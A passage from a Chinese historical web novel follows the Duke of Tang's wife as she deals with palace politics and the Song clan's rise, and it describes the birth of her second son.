当然,如今尚未满三月,这有喜的消息还要瞒一瞒。 或者说也求一个兆头。 毕竟胎神送子,那满了三月,才算坐稳嘛。 有家有子,还将迎来了第二个孩子。对于赵济世而言,这样人生很满意。 于是在仕途一道上,赵济世更想稳。 可赵济世想稳,有人不会想稳一稳。一旦燕京都稳了。 宋氏一族坐着高位,许多人的利益那是受损的利害。 不是谁,那都跟唐国公夫人万珍珠一样,那有商社上的厚重利益。 许多人家的利益,那更是着眼在了权利上。 权利,那自然维系着官帽子的数量。 一个萝卜一个坑,有人占了官帽子,自然有人丢了官帽子。 承顺四年,秋过,冬来。 对于皇家而言,冬至节很重要,这是一年的重大节庆。 于是皇家宫宴时,万珍珠这等诰命是要进宫的。 万珍珠倒想要告假。可惜,宫里提前有消息透露。 宋太后的意思,就想见一见万珍珠这一位国公夫人。 万珍珠一没生病,或者说她还怀孕了。 这等时候也是坐稳了三个月的胎。没甚的好借口,又哪能反驳了太后娘娘的美意。 进宫一趟,宫中的天子年少。 此时的宋太后是辅政太后。虽然吧,宋太后更多的还是借了兄长宋国舅的光彩在辅政。 或者说是宋国舅一人独大。 或到底皇家的底子厚,如今的皇亲宗室还是撑得住。 宋国舅办事,还要注意脸面的。 万珍珠进宫,有太后恩遇。真是大恩遇,赏了轿子。 万珍珠再三谢恩。 最后拧不过凤仪宫来人的传话,再三强调是太后的恩典。 这不,在宫里坐一回轿子。真是稀罕事。 只,轿子停在了凤仪宫前。万珍珠下了轿子。 她准备随着嬷嬷进宫去向太后请安时。在途中,万珍珠瞧着两张熟悉的脸。 哪怕是一眼略过,万珍珠还是瞧出来了来人是谁? 只是瞧见,也不可能停步。这在凤仪宫前,可不敢扫了太后娘娘的威风。 在心里,万珍珠感慨一回。 那二人真熟悉,当年的崔八姑娘、崔九姑娘。 这二位都是嫁人了。可惜,夫家一倒台,娘家一倒台。 如今瞧着,倒成了宫廷里的宫人。 瞧着装逼,还是粗使的宫人。 那两张熟悉的脸上,也是多了风霜色。那是被生活磋磨过的痕迹。 至于两位被万珍珠认出来的崔氏,大崔氏、小崔氏,二位姑娘吗? 不,应该说是出嫁过来妇人。 只二人也都生育过子嗣。奈何出事一回。二人的子嗣俱是夭折掉了。 娘家没了,婆家没了。 姐妹二人一道入了掖庭,罚为宫婢。做了最粗使的活。 如今嘛,还算好些。或者说是有旧日的一些人脉。 如今的日子已经算得好些,做了粗使的宫人。不在是干了最苦最累的那一等活计。 只今个,这一趟送东西,恰巧遇上了唐国公夫人。 国公夫人坐于轿子上。 大崔氏、小崔氏而是跪着。这会儿的姐妹二人只顾着办事。 二人都是默默无言。或者说在宫廷里久了,二人也不爱说话了。 因为宫廷之内,当了“哑巴”更好。多舌,真不是一件好事。 凤仪宫。 宋太后见着万珍珠这一位国公夫人时,态度还不错。 或者说又得了国公府的孝敬。太后是乐意给唐国公府多几分的体面。 只有一样。 关于宰相夫人在太后跟前嘀咕几回的话嘛,凤仪宫的嬷嬷偷偷的给万珍珠又嘀咕一回。 凤仪宫的嬷嬷乐意给国公夫人多递小话。 可不是嬷嬷背叛了太后。而是太后给的态度。 那是让国公夫人万氏知晓。 瞧瞧,哪怕娘家的嫂嫂嘀咕了国公夫人,在太后心里,那还是相信国公夫人的。 这一份体面给谁,那不是给。 唐国公夫人的孝敬,在宋太后眼中,那才是实打实的真心。 至于嫂嫂? 在宋太后的眼中,这一位嫂嫂太小性子。 毕竟结姻亲,那都不问清楚了情况,冒然的提出来。 简直就是胡闹。 宋太后的一切,那建立在皇权上。小天子的帝位,那来自于承顺帝。 在承顺帝跟前过了明目的姻缘,宋太后如何都会支持了。 没可能插一手的反驳。那不合了宋太后的态度。 权利来源于哪,便是忠诚于哪。 宋太后的根基,那来自承顺帝和儿子。 于是在宋太后的心里,她就得维护了这二者。 屁股坐哪,哪就是对的。这一个道理,古今皆对。 皇家宫宴,在开宴前。 万珍珠还是得了太后的安抚。对,至于万珍珠从宋太后的态度上,那感觉到的就是安抚。 太后的态度太好,让万珍珠一时之间,那真不太适应了。 没有法子,往前,那时候进宫时。宋太后的态度还有一份高高在上。 今晚,不止提了待遇,还是态度和蔼的安抚几番。 更是赏赐几分,那等好态度,那万珍珠知道了。 原来宋太后也是挺人做人做事嘛。 以前不给态度,许是觉得不必。如今嘛,又乐意了。 那就是给宰相夫人提过的旧事,那是善后一回。 对此,万珍珠的态度更恭敬。 对于皇权,万珍珠一直是恭敬的很。毕竟,万家能发家,靠的就是皇权。 离的越近,越是懂得皇权之下,没什么平等一说。 在这一个世道里,皇权,那真的是吃人的怪物。 偏生所有人在可以的时候,那都想离得更近几分。 因为越近,越来占了皇权的光。 真是远离了,又怕被人当了猪羊宰杀。 可离得太近了,皇权大舞台,真是争斗不休。 只要活着,便不可能安息。除非死了,才能下台。 宫宴,听着名义挺高端。也不过附于皇权的一点小点缀。 宫宴上,也没甚的口味。 万珍珠就是参与一回,或者说重在参与嘛。 倒是离开皇宫后,万珍珠才是轻省一回。 因为怀孕了,也是忌口一些。在宫宴上,万珍珠可注意的很。 就怕哪儿,又是惹来麻烦。 等着了唐国公府,回着自家,那才是轻轻松松。 打从心底,那轻省七分。 回了家,再点了饭食。 牛二囡瞧着点饭食的闺女,她笑道:“皇家宫宴,你还没吃好?” “宴上,只注意着太后娘娘的态度,哪顾着吃食。”万珍珠笑道。 “宫宴,那就是荣耀。只在意了荣耀,如何又注意得到胃口是否饱腹。”万珍珠笑着说了自己的看法。 “……”牛二囡一听,轻轻颔首。 “也确实是。心里提着一口气,确实是容易的吃不饱。” 牛二囡的目光落在女儿的小腹处。 “你如今是双身子,可不能饿着。”牛二囡关切的讲道。 “如今食补,一人吃,两人补。”万珍珠笑道:“只待月份再太些,倒要节食两分。” “如 何节食?“牛二囡讲道:“你如今可不敢节食。” “娘,我等月份大些,不过节制一二。又不会真饿着。如此,也是避免了胎大,免得生孩子时遇着麻烦。” 万珍珠细细解释一番。 这真不是小提大作。也是没法子的事情。 如今的世道里,生孩子真是一脚踩在鬼门关。 因为如今可没刨腹产一说。 一旦胎大,那怎么生?生不下来,就是一尸两命。 对于万珍珠而言,倒不如节制一二。胎不大,合适便是最好的。 府上请产婆,请医女。 时时关注着,更是注意了胎相如何? 注意胎相,更是怕了生产时,胎位不正。不过多花钱,多请人的事。 万珍珠为小命计较,那自然是不介意多花销一二的。 钱财嘛,人在,一切便都可以挣出来的。 “你是心中有数,我啊,倒是关心则乱了。” 牛二囡伸手,还是拍一拍自个。 “瞧我,我是糊涂了。”牛二囡是亲娘,亲闺女生孩子。 那自然盼着闺女与孙辈皆平安。 “对,依闺女你的法子好。养胎,也确实应该注意着。大人孩子,两两无恙,最是妥当。” 牛二囡全力赞同了闺女的做法。 明明在养胎。可万珍珠也同样关注了自家的商社。 这可是利益的牛奶,不关注,那是不成的。 年底,一盘帐了。 万珍珠也是知晓四面八方的消息。像是大晋遭了雪灾。 这等消息传来时,万珍珠也知道了大赵朝一样闹了雪灾。 不止中原大地如此,草原上亦如此。 此时的万珍珠更担忧了。一旦遇灾,这可是要闹大事的。 人嘛,活不下去了,那肯定会想了法子。生命,自寻活路。 这路,甭管是正是邪,只要活着,那就是呐喊出声。 因为死人,那是没法子发声的。 冬日,越是临近了年节,赵济世这一位国公越忙碌。 万珍珠瞧着忙碌着,那是回府匆匆,离府匆匆。 在府上,那当了客栈一般的枕边人。 她就心头有数的很。衙门忙碌啊。 衙门能忙碌成这样,看来,真是大事小事不少。 年节前,商社的帐目盘好。应该赏的,万珍珠是大赏。 当然,应该罚的,万珍珠也不是手软之辈。 哪怕有喜了,怀孕了。 万珍珠也不介意了手头见一见血。因为很简单的道理。 讲话,那没人听。那就是办事。 话说话,不乐意听。可事教人,一教就会。 至于那些当了旧例的,那只能怨,心太贪,手太毒。 死了,也是白给。 至于免了死,受了小罚的。那只是小小的惩罚。 只能说,可以救的,便是救一救。不能救的,万珍珠当然是心一狠,送对方一程。 “嬷嬷,你说说,这有人心贪。如何就守不住呢。”万珍珠感慨一回。 “我也不是守财奴,真是发财了,从来是人人有份。”万珍珠真不是守财奴。 替她挣钱的,应该给干股的,万珍珠是给了分红。 不到这位置的,年节里,应该给大红包的,万珍珠也会手软。 可谓是她发财,大家伙跟着一起发财。 就这,还有人不满足。真是太贪了。 “殿下,您是慈悲人。有些人的心,打从根子上坏了。” 万嬷嬷回的肯定。 或者说一些事情,万珍珠就是交给了万嬷嬷安排的。 万嬷嬷替主子办事,那是心硬的很。 毕竟见识过底层或者说人心的恶。真在地狱里打滚过的人。 再见识了善,便是乐意维护了那一份善。 因为善,若是不维护了,如何心安? 在万嬷嬷眼中,自家的殿下,那就好人。大好人。 唐国公府的家业,看着家大业大。可花销也大。 那些花销,真用在主子们身上的,真心不多。 吃,不过几菜,食,不过粥食。 穿,除了朝廷的朝服等。也不过几身常服。 可谓是衣食住行,除了合了规制外。在万嬷嬷的眼中,主家真不是什么奢侈之辈。 相反,还是在勋贵里的节省人。 就这,那些挣来的钱财,也不是一一积于库房。 相反,主家更乐意了济贫应该济贫的人。 那些收留的童儿,活命之恩。那一桩一桩的事情,哪一样不是银钱。 可这等好人好事,主家是默默做着。更不求回报。 至少在万嬷嬷眼中,万珍珠救人活命,还教人一技之长,那更是大恩。 真的大恩。毕竟这教人读书习武,再是一技之长。 或者说能学的,主家乐意给机会。这等机会,便是一般人家,那也是供不起。 一般的黎庶人家,能活着,便是乞活了。 这一日,回府的赵济世很累。 万珍珠瞧着这般的夫君,她挺心疼的。 当然,心疼归心疼。应该告知了枕边人的消息,可不会瞒着。 赵济世沐浴一番,再是用了宵夜。尔后,他陪了妻子说说话。 夫妻夜谈。万珍珠说了自己这一边的一些消息。 “济世哥哥,下面人查着一些帐。一些帐目的流动,可谓是触目惊心。” 万珍珠真的递了一些帐本。 那帐本上,还特意圈了几十处。 赵济世拿过来,瞧着折页的地方。再是翻看一二。 画了红圈的,特意圈出来的数目。赵济世看了汇总,也是心头一惊。 再是瞧着帐目的来源处。赵济世的心头有一些想法。 “宋氏一族不安份啊。”赵济世讲道。 “宋氏一族在拉拢了世家世族。”万珍珠讲道。 “皇族被捂了耳朵眼睛。”万珍珠指一指几处帐目,那是讲道。 因着跟宋氏一族凑得近一些。万珍珠这一边的利益跟宋氏一族拉上了关系。 有些事情,宋氏一族想瞒了。 可人与物的流动,那有些事情是瞒不住的。 财富搁那儿,旁的可能骗人。 可数字嘛,万珍珠太相信了。因为数字一旦核定。 数字是不会骗人的。 “宋氏一族胆大。”赵济世叹息一声。 “其时朝堂上隐约已见风声。”赵济世在妻子耳边低语几句。 “宋氏一族想做什么?”万珍珠问道。 “济世哥哥,你心有猜测吧?”万珍珠依偎进枕边人的怀中,忍不住问一回。 这会儿赵济世念了几个姓名,又说了几人背景。 万珍珠一听,俱是世家世族的子弟。 “宰相开府,仪同三司。幕府之内征召了十数人的世家子。” 赵济世一一细数,给万珍珠讲一讲这些世子家的背后,又是牵连上哪些人物。 “……”万珍珠倒抽一口凉气。 “莫不成宰相大人以为收拢了权柄,还能拉拢了世家的人心?”万珍珠不敢相信。 “宰相大人糊涂啊。世家世族,又岂是易于控制。”万珍珠真是觉得宋氏 一族的领头之人,那一位宋国舅疯了。不,更准备的说法,应该是飘了。 “高高在上的宰相大人,有人吹捧,还是世家世族的世家子。满朝上下,世族势大。我等新贵,不过从了大势。” 赵济世叹息一回。 “世家世族,太会哄人。”万珍珠给了自己的评价。 说真的,这世道的话语权,还真就在世家世族的掌中。 如今的大赵,皇族人多势众。可惜,小天子没亲政。 或者说如今的外戚掌权。世家又乐意捧一捧。 这不,皇族那一边的气焰,瞧着都给压下去了。 “宰相大人相信世家子,我等劝,怕是劝不住。更容易招了记恨。” 赵济世是明白人。 哪时候应该低调一点,赵济世太懂了。 “一旦宰相太人真的糊涂了,想收拾皇族宗室,那时候如何是好?”万珍珠忍不住猜测了一个想法,这不,便是讲出来。 因为盘帐,这是盘出一脑门子的官司。 万珍珠可想听一听枕边人的决断。 “顺其自然,不逆势而为。”赵济世说了他的做人做事态度。 “我这一辈子就想护了家业妻儿。”赵济世揽一揽妻子。 怀中妻子,让赵济世心安生,心安定。 嗅着妻子的发香。赵济世温言细语,讲道:“珍珠妹妹,你是知我。” “我啊,从来不是什么逆势之辈。世家世族若是势大,想拱着宰相大人跟皇家宗族斗一斗。那他们斗去。” 赵济世的目光望着北方。 “依我想法,大不了退一步。至多,我们家就回北镇去种地。” 赵济世早有退路。 “这燕京都的风云,做不得弄潮儿,那便是求了一世富贵。” 赵济世没说的,便是军中关注。他可关注的很。 承顺四年,匆匆而过。 承顺五年,或者说,新一年,天子改元。 这一年,亦是正统元年。 正统帝还是年少的天子,可宰相大人这一位国舅爷,那倒是威风赫赫。 春,一年好风光。 三月三,春龙节。这一日,万珍珠陪着住前院,难得休息时回了后宅的儿子一道用饭。 饭罢,消食时。牛二囡瞧着耍一套拳法的大孙子。 牛二囡笑道:“我的好大孙,真是利害,都学会一套拳法。” “将来必是青出于蓝而胜于蓝。将来啊,一定像你爹一般,得是勋贵里的头面人物。” 牛二囡夸一夸大孙子。 打完一套简单的拳法的安康,那是收了架势。 再是调整了呼吸后,安康在姥姥和亲娘跟前笑得高兴。 “我的拳法,爹爹教的。”安康大声的讲道。 “爹爹夸我学得好。” 安康这话一讲,不止他姥姥夸一夸,万珍珠也夸一夸好大儿。 给姥姥夸,给亲娘夸,安康这会儿老高兴。 此时气氛甚好。 万珍珠也是笑着,笑得开心。 “今日过节,安康休息半天。明日,又要学习。安康喜欢读书?欢喜习武吗?”万珍珠问一问自家的好大儿。 “喜欢。”安康肯定的回道。 “读书明理,习武健身。”安康学着小大人的模样。 那一本正紧的,让人瞧着,真是恨不能揉怀里又心疼几回。 毕竟小儿郎学了大人,还是一本正紧,越瞧着,越可爱。 “真是吾家麒麟儿。”万珍珠伸手,拍一拍自家好大儿的小肩膀。 “知上进,明事理,爱学习。”万珍珠夸一夸。 夸的真心,在万珍珠眼中,这般爱学习的好大儿真是肚子里孩子的好榜样。 “等娘肚子里的弟弟妹妹降生后,等弟弟妹妹年岁大些,也让弟弟妹妹学了安康这一个好哥哥,也得爱学习。” 万珍珠笑道。 “嗯,娘放心,我一定做一个好哥哥,给弟弟妹妹做了好榜样。” 安康挺直了小胸膛,那是特自豪感十足的模样。 对于安康而言,亲娘怀了弟弟妹妹的时光里。 他可一直盘算了如何当一个好哥哥。 对于如何当哥哥,小小年纪的安康,那可是规划了一二三四五等等,好些的小计划。 第107章 万珍珠有亲娘陪着,好大儿陪着一起过春龙节,她的心情非常好。 当然,对于缺了夫君在侧,也是颇有一点点小小的遗憾。 奈何衙门的差事要紧。有些遗憾,人生难免。 在一家人开开心心时,万珍珠感觉到了异样。 都是生过娃的过来人,产期又在近日。万珍珠这会儿心不慌,她很镇静。 “娘,你陪一陪安康吧。” “嬷嬷,我要生了,按章程行事。”万珍珠跟亲娘讲过话,把好大儿交给亲娘。 尔后,她又跟万嬷嬷吩咐了话。 这会儿的牛二囡也是反映过来。亲闺女要生了腹中的孩子。这要生了? “快,赶紧的搀扶了我儿进产房。快。”牛二囡跟旁边的万嬷嬷等人吩咐道。 “安康,陪姥姥一起等着你娘生了弟弟妹妹,安康最听话。来,到姥姥跟前。” 牛二囡这会儿也知道大事小事的,女儿生孩子要紧。 同时,还要护好了大孙子。 当亲娘的,按说,那应该去产房里陪着。 可大孙子这儿不亲自盯着,牛二囡不放心。 或者说,牛二囡知道她不亲自盯着大孙子,女儿在产房里也不安心。 万珍珠让大丫鬟搀扶着进了早早备好的产房里。 这会儿她的腹部有疼痛之感。 可这些疼,她忍得住。 进产房前,万珍珠还再叮嘱一番好大儿。让孩子听了姥姥的话。 至于留了孩子在产房外候着?那不成的。 “娘,你领安康回前院吧。等我生了,再让安康瞧一回他的弟弟妹妹。” 万珍珠挤了一抹的笑容,她跟亲娘讲道。 “我想在屋外等着,娘。” 安康有自己的意见。 “……”万珍珠停着步伐,这时候的她真为难。 虽然高兴儿子的孝心,可生产这回事,谁知道要多久? 何况,万一呢? 到时候场面出了什么情况,万一让孩子受了惊? 万珍珠可不会忘记了,她家的好大儿还没过五周岁的生辰,还是小童子。 “安康,你去前院,你给姥姥读书。你姥姥爱听你读书。娘这儿,等弟弟妹妹一降生,就差人去通知你和姥姥。乖……” 万珍珠这会儿感受到了腹部的疼痛。她强忍着,眉间眼,还是抽了一下。 牛二囡这会儿唤了好大孙,还是又安慰一二。 拧不过姥姥和亲娘的态度,安康讲道:“我听娘的安排。” “只是弟弟妹妹一降生,一定要差人赶紧告知我。” 安康瞧着亲娘一直不进产房,就跟他讲话。 安康也懂眉眼高低,会看了周围人的神情。 这会儿的安康可不敢跟亲娘拧着干事情。 安康一同意,牛二囡赶紧哄了大孙子去前院。 这会儿的万珍珠也是安心的进了产房内。 府医很快来了,产婆也来了。 产婆瞧过万珍珠的情况。生,这会儿没那么的快。 此时的万珍珠还可以再用些吃食。再多齐攒一些力气。 不止如此,还得在屋里走一走。 对此,万珍珠信了产婆的安排。 毕竟过来人,有经验。万珍珠知道生产时,那需要的力气可不是一会子半会子就能成事的。 此时此刻,万珍珠努力的攒了力气。多用些吃食,生产后,可没精力再填了肚子。 前院,安康拿着书,他很认真的念给姥姥听。 可牛二囡走神了。 “姥姥。”安康念完一页,他停了下来。 此时,他也发现了姥姥的走神。安康没唤,只是静静的等候着。 “安康,念完了吗?”牛二囡回过神来,忙问了一句。 “姥姥,你在担忧娘吗?”安康问道。 “……”牛二囡当然担忧。 可牛二囡不敢在大孙子跟前讲。怕大孙子问根究底。 关于生孩子这等事情,牛二囡也没法子跟大孙子细说。 主要是大孙子年岁太小了。 “我担忧娘。”安康讲道:“二石头的娘,就是生他弟弟时难道没了。” “二石头是谁?”牛二囡一下子给大孙子的话转移了注意力。 “二石头是庄子上的孩子。就是娘给取名,叫平安庄的那大宅院里的学生。” 对,学生这一个词,还是安康去了平安庄后,才是学到的一个词。 那庄子上,跟安康同岁的学生可多了。在那儿,安康过了不一样的生活。 虽然吧,那里的吃食不如府上好。可那些也有许多的快乐。 当然,在哪儿安康也知道了这世道上,还有许多的孩子跟他不一样的。 哪不一样? 当然是安康的吃穿用度,那样样是平安庄子上的学生们,那想都不敢想的。 为何如此? 安康问过爹娘,他知道答案。 因为每一个人生下来的家庭不一样。他有爹娘宠着。 所以,爹娘安在,他享受了爹娘给的一切。 平安庄上的孩子,被娘收养的那些学生,他们是没有爹娘的。 没有爹娘的孩子,如果不是被娘收养了了。他们可能活不下去。 活不下去,没有饭吃,那是什么样的人生? 安康不敢想像。 毕竟没过的苦日子,可能想像,那都想像不到。 不过饿肚子吗? 那就很难受的。这一点,安康可知道了。 因为在庄子上时,玩耍坏了,错过用饭时间。 安康被罚过。 被亲娘罚过,真的挨过饿。那饿过了,才知道饿的滋味有多么的难受。 哪怕只有一遭,安康也是记住了教训。 “平安庄……”牛二囡听着这地方,她沉默了。 关于女婿和女儿的一些做人做事,牛二囡有耳闻。 牛二囡不是什么拿大主意的人。她从来是顺了旁人的意思。 甭管是当年做仆从,在朱府。又或者去了燕京都,听夫君万忠良的安排。 再或者如今养老了,在女儿女婿跟前过日子。 牛二囡从来不是拿主意的那一个人。 可再是糊涂,牛二囡也知道的。她家的女儿也是主意大的很。 “那庄子上没爹娘的孩子,他们的日子惨。你娘好心收养,也是盼着替家里多积了功德。” 牛二囡的嘴里,当然不会说了女儿的坏话。 救人一命胜造七级浮屠。 这话,牛二囡是信的。于是她眼中,那能见的自然好的一面。 后宅,产房里。 万珍珠这会儿在产婆的指引下,那在调整了呼吸。 “对,夫人,吐气。” “吸气……” “夫人,用力。” “……” 这会儿的万珍珠的精力,全在应付了产婆的吩咐。 对于生孩子这一回事情,真的,万珍珠心想。 明明生孩子太疼了。 她当初生过安康时,还觉得不想再生了。 可后来呢? 好像潜意识里,生过孩子后,就忘记最疼的那一种痛。 可这会儿,那些失忆又像是回来了。 痛,真的,让万珍珠觉得太痛了。可再疼,这会儿的孩子也得赶紧生下来。 可没可能怀上了,那不生孩子,还是把孩子塞回去。 没得这样的道理。 过了多久? 对于生孩子的万珍珠而言,她是感觉不到时间的流逝。 或者说万珍珠已经对时间失去了感应。 “哇哇哇……” 等着耳边传来了小婴儿的啼哭声时,万珍珠有一种感觉。 那就是太好了,总算把肚子里的孩子是生下来了。 这会儿屋里的两个产婆,一人在给小婴儿收拾,一人在给产后的产妇收拾。 等着一切妥当后。 万珍珠躺在榻上,她瞧着嬷嬷抱着的小包裹。 那里面有一个丑丑的小婴儿,真丑。 “跟他哥真像。像当初的安**下来时一样的丑。” 万珍珠讲了大实话。 “……”旁边的万嬷嬷听着这话,嘴角抽动一下。 “恭喜殿下,您生了一位小公子。” “给安康添了一个弟弟啊。”万珍珠颔首。 “他们兄弟真像。”万珍珠再端详了一回小儿子,她实话实说。 “殿下说的对,奴婢瞧着,小公子跟世子长得真像。”万嬷嬷也是附合一回。 “嬷嬷,差人去报喜。给娘报喜,也差人去衙门给夫君报喜吧。” 万珍珠交待一回。 当然,这会儿也免不得跟万嬷嬷吩咐一回。 当赏,得赏,还得重赏。 甭管产婆,还是侍候的诸人,又或者这会儿给新生儿把了脉的府医。 总而言之,人人都沾一沾喜庆,都得拿了红包。 添丁这一样大喜事,谁沾了喜庆,那都是高高兴兴,开开心心。 前院。 等着报喜人一来,牛二囡一听又添了一个孙子。 “好,太好了。”牛二囡是高高兴兴。 “姥姥,我们去看娘和弟弟。”安康赶紧讲道。 “对,对,我们去瞧瞧,赶紧的去瞧瞧。”牛二囡同意了大孙子的话。 衙门里。 等着国公府的下人去衙门报喜。待赵济世得着消息时。 当时,赵济世给了报信的重赏。 赏过后,赵济世是想回府的。他真的在意了新降生的孩子。 可一想着衙门里的一些要紧事。赵济世压一压心绪。 最终,赵济世还是没有早退,没有搁下公务,真的回府去享了天伦之乐。 因为如今的燕京都,那是风起云涌。 有人想登台,有人想拆台。在这等时候的赵济世嘛,他更想坐等一下,等着赢家的出现。 至于站庄? 明面上的赵济世可是一直站了宋国舅的这一边。 至于心底的真正想法嘛,赵济世从来信了兵强马壮者为尊的一套真理。 谁让赵济世是从战场上吃了红利的人。人嘛,从来信了自己的成功之道。这是对成功的依赖路径。 第108章 大赵朝,燕京都,皇宫。 掖庭之内,各有门道。大崔氏不避讳了妹妹小崔氏。 于是小崔氏很自然的发现了姐姐的秘密。 “姐姐,这太危险了。”小崔氏有一些害怕。 在宫廷里做人耳目,替人办事,一旦被查出来是要命的事情。 “妹妹,我们没有法子。”大崔氏的脸上全是苦涩。 “你想想,凭我们宫婢的身份,能得了如今的差遣。你觉得真是凭了运气?”大崔氏问了妹妹。 小崔氏沉默了。虽然小崔氏很想相信,她和姐姐能得了轻松一点的差遣,真的全凭旧日关系,凭了运气。 可这世道里,哪有什么好运气是从天而降。 真有福运?她和姐姐又岂会从世家妇被贬为如今的宫婢身份。 还是一辈子不得赦免的奴籍。 光想想,从人上人贬入泥里,那等失落,不言而喻。 “何况,我想复仇。”大崔氏在妹妹的耳边低语。 小崔氏听罢,沉默了。 小崔氏又何尝甘心呢。人嘛,吃过甜,再尝苦,那苦,便是入了灵魂的深处,苦的一辈子都忘不掉甜是什么滋味。 因为见过光明,更难忍受了黑暗的苦涩。 对于大崔氏、小崔氏而言,活着又与尸体何异? 说她二人不过是活死人,也不为过。 小崔氏不再劝姐姐,相反的,她应了姐姐的做法。她要与姐姐一道行事。 燕京都,内城,唐国公府。 赵济世一归府,便是去见了妻儿。那会儿的赵绥守了亲娘的屋子里。 赵绥在照顾了弟弟。不,更准备的说法,赵绥是在仔细的瞅了弟弟。 “姥姥,弟弟真的会越长越好看,成了俊儿郎吗?” 赵绥不敢相信。他跟姥姥再三追问。 “会的。”牛二囡肯定的回了大孙子。 “安康放心,你弟弟长开了,那就跟你一样俊。你们兄弟长得可像了。” 牛二囡跟好大孙讲道。 赵绥多瞅几眼弟弟,再摸一摸自己的俊脸。 他有一点不敢相信,他曾经也跟弟弟一样这般的丑过。 再瞅瞅,真的丑。 可这般丑,也是亲弟弟。赵绥觉得他做为好哥哥,不应该嫌弃弟弟的。 屋内,赵绥还跟姥姥商量了,万一弟弟将来长不俊,他就照顾弟弟。 总之,一定不能让弟弟受了委屈。 赵济世进屋时,他听见的就是长子说了如何做好长兄的话。 “我儿安康,果然是好兄长。”赵济世一进屋,先夸一夸好大儿。 “爹。”赵绥一听亲爹讲话,赶紧上前,他如今可是见学的学生。 这不,赵绥给亲爹见礼。礼罢,又是凑上前跟亲爹亲近。 对于好大儿的亲近,赵济世不拒绝。 这会儿的赵济世关心一番好大儿和岳母大人。 尔后,赵济世又关心了睡着的妻子和今个降生的次子。 “这孩子的眉眼像极了他兄长。瞧瞧,安康,你弟弟像你。” 赵济世这会儿跟赵绥讲道。 见着亲人们都说弟弟像他。安康信了。 “我这般俊,弟弟将来一定是俊儿郎。保准没错。”赵绥还是肯定的点点头。他信了自己的话。 “哈哈哈……”赵济世高兴的笑一回。 他这一笑,榻上的万珍珠也给笑醒了。 醒来,万珍珠瞧着屋中的亲人。这会儿的赵济世走上前。 “可是我吵醒了妹妹?”赵济世歉意的说道。 “不,饿醒的。”万珍珠一醒来,她感觉着肚子空空的。 这会儿万珍珠实话实说。 牛二囡一听闺女的话,赶紧吩咐一声。屋里侍候的大丫鬟应了话。 不多时,吃食呈上来。 万珍珠虽然饿了,也没急着用吃食。而是先问一问亲人们,关心一二。 当然免不得多问一问降生的小婴儿。她家的次子。 这会儿的牛二囡说了情况。万珍珠听着奶嬷嬷已经喂过孩子。 她轻轻点头。 “如此,这孩子也不会饿着了。”万珍珠笑一回。 许是生了孩子,这会儿身上还有一些疼。 可到底,那生产时的最疼之时已经过去。脑子好像也是忘记了那时候的痛楚。 除了身子上的疼,这真的免不了外。旁的,万珍珠还能忍一忍。 反正嘛,这是春日。不算冷,不算热。还算是合适的天气。 若是在夏日生孩子,那才是遭罪的炎炎暑日。 这会儿的万珍珠把目光落在好大儿身上。她道:“安康,你陪爹和姥姥一道用夕食。” “如今到用饭的时间,可不能饿着了。”万珍珠给好大儿派任务。 安康得了亲娘的话,应了下来。毕竟从小到大,安康在亲娘这儿接受的教育就是吃饭为大。 天大地大,吃饭最大。 若是吃饭不积极,就是脑子有问题。这不,亲娘一提,安康便应承下来。 “我们陪你一道用饭吧。” 赵济世讲道。 “这屋中,我还要坐月子呢。”万珍珠笑道:“一家人凑一起用饭的时间多着。不缺这一回。” “夫君也累一天,你快去用夕食吧。娘也是,娘和安康也是守了我许久。你们一定都饿了。” 万珍珠再三劝。 最后拧不过万珍珠的意思。赵济世领着大儿,又陪着岳母去了正院用饭。 至于万珍珠嘛,她也是瞧着摇篮里的小儿子,还是瞅一瞅小儿子的丑颜,尔后,凑合着用了一餐饭食。 夕食罢。 因着明个的赵绥要继续课业,这不,哄一哄孩子。 这孩子就识趣的回前院去歇息了。 当然,歇息前,还是陪亲爹又去瞧了亲娘一回。 待安康去歇息后。 屋内,赵济世陪着妻子说说话,也多瞅一瞅小儿子几眼。 “辛苦妹妹了,我们又添了一个孩子。”赵济世的脸上全是欣喜之色。 “是啊,总算给安康添了一个弟弟。”关于造小人,这是求了太久,总算求来的一个孩子。 或者说万珍珠的心底,这一个小儿子还是抹了一层的期许。 在万珍珠和夫君赵济世的心底,这未尝不是那一个失去了孩子,又再一次的投胎到他们家。 这一等失而复得,自我感动的感情,总是添了三分的欢喜在里面。 “孩子洗三,总得大办一场的。”万珍珠讲道:“济世哥哥,可有什么叮嘱的地方吗?” “我们的孩子,确实不能吃了半分委屈。”赵济世笑道:“洗三、满月、百日,大办便是大办,总应该热热闹闹。” “那,这孩子的小名应该早早取了。”万珍珠笑道:“济世哥哥,可有想好的?” “他兄长叫安康,他便叫安福。”赵济世讲道。 “安康,平安健康。安福,平安幸福。”万珍珠呢喃一回。 “这确实是一个好的小名。”万珍珠很赞同。 “是啊,我也是这般期许了我们的孩子。”赵济世赞同了妻子的话。 唐国公府里,夫妻二人说着对于孩子的期许。 不过是每一对爹娘都会对孩子的期盼。 平平安安,健健康康,幸福快乐。这便是一生最大的欢喜。 只这一个月子吗? 万珍珠坐得挺安生。毕竟唐国公府这般的家大业大,安福的洗三,来的宾客多。 万珍珠这儿受了不少的吹捧,也这坐月子里,也是心情美美。 只耳目没闭塞,万珍珠也听着外面的消息。 于是月子里,万珍珠总是隐约之间,在鼻间嗅着一些血腥味。 那是外面的血腥味。 这不,坐着月子时,弟弟沈氏还来探望。又跟万珍珠讲了外面的消息。 “如今瞧着,宰相府倒是威风赫赫,甚是吓人。” 沈氏的脸上有担忧之色。 “弟妹,你这话说着,可是有担忧之处?”万珍珠问道。 “瞧着卷入的人家越来越多。心里不安生。”沈氏说了自己的担忧。 “还有便是太妃那儿……”沈氏迟疑一下,还是说了最在意的事情。 马小莲是承顺帝的妃子,她没有生下子嗣。 先帝驾崩,新天子登基,马小莲被赠为太妃。 做了太妃又如何? 这没子嗣的日子,可不会好过。或者说没有前程奔头。 这不,宋太后是想给恩典,想着让马小莲留了宫廷里过日子。 虽然嘛,要依附了太后娘娘,时时捧了太后娘娘的马屁。 可马小莲不想过这样的日子。她托了话给嫂嫂。 当时,万珍珠在场,沈氏也在场。 马小莲想入皇家寺庙修行。待修持三年后。 马小莲便想嫁人。 对的,皇妃想嫁人。一辈子守了青灯古佛,吃斋念佛什么的。 那不是马小莲想过的日子。 毕竟人生太漫长,马小莲还年轻的很。她若嫁人,成婚生子,样样可行。 只一样,天家的脸面为大。这马小莲想嫁人,可不是容易的事情。 再不容易,这办法总比困难多。 凭着唐国公府的关系。或者说凭着给宋氏一族送的好处。 马小莲的事情,只要低调些,不是办不成。 